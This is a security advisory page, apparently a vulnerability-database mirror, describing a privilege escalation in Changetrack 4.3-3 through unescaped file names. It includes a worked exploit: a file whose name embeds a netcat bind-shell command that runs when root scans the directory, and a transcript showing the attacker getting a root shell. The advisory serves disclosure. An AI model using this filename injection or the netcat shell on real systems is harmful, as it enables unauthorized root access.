Lucene search
K

Changetrack 4.3-3 Privilege Escalation

🗓️ 19 Sep 2009 00:00:00Reported by RickType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 45 Views

Changetrack 4.3-3 Privilege Escalation Vulnerabilit

Code
`TITLE:  
Changetrack Privilege Escalation Vulnerability  
  
SECUNIA ADVISORY ID:  
SA36756  
  
VERIFY ADVISORY:  
http://secunia.com/advisories/36756/  
  
DESCRIPTION:  
A vulnerability has been discovered in Changetrack, which can be  
exploited by malicious, local users to gain escalated privileges.  
  
The application does not properly escape certain file names, which  
can be exploited to inject and execute arbitrary shell commands  
(potentially with "root" privileges) by creating a maliciously named  
file in a directory tracked by Changetrack.  
  
Successful exploitation requires write privileges to a directory  
scanned by Changetrack.  
  
SOLUTION:  
Use Changetrack to track trusted directories only.  
  
PROVIDED AND/OR DISCOVERED BY:  
Marek Grzybowski  
  
  
--------------------------------------------------------------------------------  
Example of exploitation:  
  
------------ Attacker ----------  
  
rick@testmachine:~/testt$ touch "<\`nc -l -p 5001 -e \$SHELL\`"  
rick@testmachine:~/testt$ ls  
<`nc -l -p 5001 -e $SHELL`  
  
--------------------------------  
  
  
------------ root --------------  
  
testmachine:~# changetrack   
  
------------ root --------------  
  
  
  
------------ Attacker ----------  
  
rick@testmachine:~/testt$ nc 127.0.0.1 5001  
id  
uid=0(root) gid=0(root) groups=0(root)  
  
--------------------------------  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation